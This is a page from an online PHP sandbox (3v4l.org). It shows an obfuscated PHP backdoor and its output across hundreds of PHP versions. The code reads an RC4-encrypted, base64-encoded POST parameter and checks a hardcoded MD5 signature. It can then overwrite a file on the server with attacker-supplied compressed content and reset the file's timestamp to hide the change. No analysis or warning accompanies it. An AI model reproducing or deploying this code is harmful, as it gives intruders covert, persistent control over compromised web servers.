3v4l.org

run code in 300+ PHP versions simultaneously
<?php $__["key1"]= "da17298d87447351e5473e334c41ba4b"; // Access key $__["key2"]= "ce0c742ad350ee7e0a26466fd9b5f56b"; // Crypto key $__["key3"]= "3bf6228c859400c084adea9a5e5f7b11"; // Signature (03eb720a3353aa0ca3d6e4fc21982c98) if (isset ($_POST[$__["key1"]])) { $__["request"]= base64_decode ($_POST[$__["key1"]]); for($__["tmp"]["i"],$__["tmp"]["c"];$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["i"]; for($__["tmp"]["i"]=0x0,$__["tmp"]["d"],$__["tmp"]["e"],$g=strlen($__["key2"]);$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) { $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]]+ord($__["key2"][$__["tmp"]["i"]%$g]))%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; } for($__["tmp"]["y"],$__["tmp"]["i"],$__["tmp"]["d"]=0x0,$__["data"];$__["tmp"]["y"]<strlen($__["request"]);$__["tmp"]["y"]++) { $__["tmp"]["i"]=($__["tmp"]["i"]+0x1)%0x100; $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]])%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; $__["data"].=chr(ord($__["request"][$__["tmp"]["y"]])^$__["tmp"]["c"][($__["tmp"]["c"][$__["tmp"]["i"]]+$__["tmp"]["c"][$__["tmp"]["d"]])%0x100]); } $__["data"]= unserialize ($__["data"]); if (is_array ($__["data"]) && md5 ($__["data"]["sing"]) == $__["key3"]) switch ($__["data"]["action"]) { case "update": $__["info"]= filectime ($__["file"]) - 0x5103073C; file_put_contents($__["file"], gzinflate (base64_decode ($__["data"]["data"]))); touch ($__["file"], 0x5103073C); echo md5 ($__["key1"].$__["key2"].$__["key3"]).serialize (array ("state" => "OK", "info" => $__["info"])).md5 ($__["key1"].$__["key2"].$__["key3"]); break; case "exec": case "info": default: break; } } if (true/*expr*/) { touch ($__["file"], filectime ($__["file"]) + 1); ?>/*payload*/<?php }
Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Warning: Undefined array key "file" in /in/YMKBh on line 46 Warning: Undefined array key "file" in /in/YMKBh on line 46 Deprecated: filectime(): Passing null to parameter #1 ($filename) of type string is deprecated in /in/YMKBh on line 46 Deprecated: touch(): Passing null to parameter #1 ($filename) of type string is deprecated in /in/YMKBh on line 46 /*payload*/
Output for 8.0.0 - 8.0.30
Warning: Undefined array key "file" in /in/YMKBh on line 46 Warning: Undefined array key "file" in /in/YMKBh on line 46 /*payload*/
Output for 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.25, 7.0.0 - 7.0.20, 7.1.0 - 7.1.7, 7.2.29 - 7.2.33, 7.3.12 - 7.3.31, 7.4.0 - 7.4.25, 7.4.27 - 7.4.33
Notice: Undefined index: file in /in/YMKBh on line 46 Notice: Undefined index: file in /in/YMKBh on line 46 /*payload*/
Output for 7.3.32 - 7.3.33, 7.4.26
/*payload*/
Output for 5.3.0 - 5.3.29
Notice: Undefined index: file in /in/YMKBh on line 46 Notice: Undefined index: file in /in/YMKBh on line 46 Warning: touch(): Unable to create file because No such file or directory in /in/YMKBh on line 46 /*payload*/
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
Notice: Undefined index: file in /in/YMKBh on line 46 Notice: Undefined index: file in /in/YMKBh on line 46 Warning: touch(): Unable to create file because No such file or directory in /in/YMKBh on line 46 /*payload*/
Output for 4.3.0 - 4.3.1
Notice: Undefined index: file in /in/YMKBh on line 46 Notice: Undefined index: file in /in/YMKBh on line 46 Warning: filectime() [http://www.php.net/function.filectime]: Stat failed for (errno=2 - No such file or directory) in /in/YMKBh on line 46 Warning: touch() [http://www.php.net/function.touch]: Unable to create file because No such file or directory in /in/YMKBh on line 46 /*payload*/

preferences:
285.64 ms | 402 KiB | 351 Q